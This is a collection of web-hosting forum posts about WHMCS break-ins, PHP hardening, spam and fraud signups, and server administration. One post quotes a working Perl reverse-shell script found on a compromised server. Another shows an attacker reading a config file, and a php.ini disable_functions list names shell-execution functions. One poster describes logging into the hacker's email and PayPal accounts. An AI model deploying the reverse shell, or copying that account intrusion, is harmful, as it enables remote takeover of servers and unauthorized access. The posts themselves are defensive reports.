[Security Alert] - WHMCS Users
May 19, 2008
this is not a WHMCS vulnerability, & you are most likely not affected if you have used the Further Security Tutorials, given by WHMCS.
1.) What has happened?
A professional hacker, signs up as a client, & adds a shell script to your attachments/downloads folder.
He gains complete access to your WHMCS admin, & changes your paypal & other gateway emails/accounts, to his emails/accounts.
2.) What to do?
Check your attachments/downloads folders, for any such scripts.
Use - [url]Furthur_Security_Steps to secure it.
Go to Payment Gateways, & check if the accounts are yours.
3.) How do I know so much about this?
Our installation, was also hacked. But, this hacker made a mistake.
He used his email account password, for signing up. I could get into his email, & see who has been hacked. I could also get into his PayPal & Egold, & refund all payments intended to go to LaceHost (me). I saw other host's payments too.
4.) Hacker has changed his modus operandi.
He now changes the paypal, to some other host's paypal, instead of his.
He also deleted tables from your database, may create a new administrator account, may modify other accounts, add affiliate commission etc.
5.) For more information on this hacker,
Add me on IM - lacehost [dot] live1 [at] yahoo [dot] com
6.) How many have been hacked?
According to what I saw in his PayPal, & his email, atleast 15 hosts have been hacked.
If your paypal has been changed to some other host's paypal, please do not blame them for hacking, we really do not need an inter-industry war here

So I've been using WHMCS for a while, and there's something I'm a little concerned about with the whole keeping customers credit cards for recurring payments.
I've downloaded a backup copy of the database and I see that the passwords and credit card information is encrypted. That's all nice and handy but the CC hash is also stored right in the configuration file. That means that if someone gains access to the server and just grabs the database + config file they would then be able to view all that info correct? Maybe someone who knows a little more about WHMCS can tell me if this is correct or not?

Just thought I would post some information regarding a "backdoor" in which many web hosts fail to secure.
If you run WHMCS on the same server you setup client accounts, someone can simply sign-up and easily access your WHMCS configuration file.
All it takes is for the user to upload a shell script and execute the following command:
Quote:
cat /path/to/your/configuration.php-file/
From there, they can access your configuration settings (MySQL) and create an administrator account.
How to fix:
If you have already disabled functions in your php.ini file, then you should be fine. If not, you will want to disable the following functions in your php.ini file:
Quote:
disable_functions="exec, shell_exec, proc_close, proc_open, pope n,system, passthru, escapeshellarg, escapeshellcmd, symlink"
You may want to enable safe_mode as well, but this may cause issues for certain scripts.
I would highly recommend installing mod suPHP and php cgi or simply move your "master" account to a different server.

Context at bottom of message.
What configuration/style of running PHP should I be looking for in a hoster? Please forgive if my questions reveal my ignorance, and I'd be ever so grateful if you could help explain things to me.
Safe mode should be OFF, correct?
Should PHP be running as a module or CGI? If CGI, please rank these from best to worst: SUhosin, suExec, suphp, phpsuexec?
Is it usual/OK for these disable_functions to be set: shell, exec, passthru - others I should watch out for?
Out of the following variables (and others you might think of), are there any which I should NOT expect to be able to change via .htaccess/php.ini?
open_basedir
register_globals
memory_limit
magic_quotes
file_uploads
upload_tmp_dir
upload_max_filesize
I'm just starting to learn PHP, but probably will be using 90% pre-coded applications - CMS, forums, mailing management. I'm looking for a good hosting company; I've got my "shortlist" list down to a dozen or so good ones with excellent reputations for reliability and support.
I want to identify which hosts will give me the most flexibility; as a user I don't want to find there are popular/important scripts out there I can't use with my account. But I still want decent security - am I dreaming or is that possible?

On my server, users can connect to any database as long as they have the database user and password. This makes it easier to hack any database on the server.
What I want to do is to make the users can only connect to their own databases and not other's.
I tried changing the localhost ip address but it didn't work ( I assume I didn't do it the right way)

I dont know if this has been asked before. Anyway what I want to accomplish is I want an email be sent to my email address everytime someone connects to my SSH. I want an email sent regardless it was a successful or failed login. Is there a step by step tutorial for this.

I have many domains and webservers. so it's hard to monitor everything usually. i heard there are some websites and softwares to do this.
does windows 2003 have anything default like this ? or can anyone suggest the application for my windows 2003 server? which sends alerts if any error is going on my server?
Also there any other websites which is doing this monitoring? because i have some shared accounts and i want to monitor it too.

In less than 5 mins of account activation user named Paul McGrath, supposedly from NY. Allegedly using lolchurch.com domain (that domain was never forwarded to our server) and user just put a script called send.php and let it rip.
Good thing i was around and management looked at it within minutes (AcuNett).
So, watch for this user signing up and check account(if using that user name or similar domain or recent signups) for any such php page.
Now asks us for refund for suspending his site for spamming.. Asked for his driver license copy to first verify his address, so possibly i can report to paypal for possible fraud too or some online internet police maybe for fraud if there is such a police
Note to Mods. not sure where threads like these go to!
Quick edit: Now user trying to threaten us to give their refund cause they want it back for they spammed and deserve a refund for the same.
"Your servers were awful anyways, I maybe sent 500 emails? I'm gonna ask nicely before I actually do something about this, give me a refund."
he forgot 500 emails in less than 5 mins. does not look like not-spam. Anyways i go have some chat with the fraud, id does not match paypal payment id

I've gotten two fraudulent signups from the following ip address:
206.53.49.**
Luckily, maxmind has caught him both times, but he's using an address from canada and the phone is fake but the domains he's using are real.
I've gone ahead and blocked the ips, but I just wanted to let you guys know.

Gmail has a feature to detect email phishing and it marks them with a red header alert saying "Warning" This message may not be from whom......", I believe this red alert has nothing to do with spf record of that email, so how does it detect it as phishing email?
We have spf record and I sent an email from another server, when I received that emai the spf record was "softfail" but it does not have that red alert.

So I looked and the file says this:

$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!
");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!

$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!

connect(SOCKET, $paddr) || die("Error: $!
");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);

close(STDERR);
That one line 'echo "`uname -a`";echo "`id`";/bin/sh';

I've run "DNS report" test for one hosting in dnsstuff.com and got this warning (as some times before for other hosts:
---------------------
Fail:
Open DNS server
ERROR: One or more of your nameservers reports that it is an open DNS server. This usually means that anyone in the world can query it for domains it is not authoritative for (it is possible that the DNS server advertises that it does recursive lookups when it does not, but that shouldn't happen). This can cause an excessive load on your DNS server. Also, it is strongly discouraged to have a DNS server be both authoritative for your domain and be recursive (even if it is not open), due to the potential for cache poisoning (with no recursion, there is no cache, and it is impossible to poison it). Also, the bad guys could use your DNS server as part of an attack, by forging their IP address.
-----------------------
Is this anythhing important?

I run a web hosting company and one of my servers is a LAMP server running CentOs 5. A user of mine has a Joomla installation running to manage his website and he has run into the following problem that I am puzzled by.
When Joomla adds a component or module to itself, or when a user uses the Joomla upload functionality, Joomla will add the new files under the user name "apache". This makes sense as it is the apache service running PHP that is actually creating the files.
However, when he FTP's into the account to modify these files, he doesn't have the appropriate permissions to do so as he doesn't have a root level login, just permissions on his home directory which is the site. Any help would be much appreciated.
Also, does anyone know how to change the owner/group of a directory and all of its sub directories in Linux without changing the actual permissions? I.e. some of the files in the folder have different permissions (0644 as apposed to 0755) than its parent but if I do a top down user/group change on the folder it will change everything in that folder to 0755.
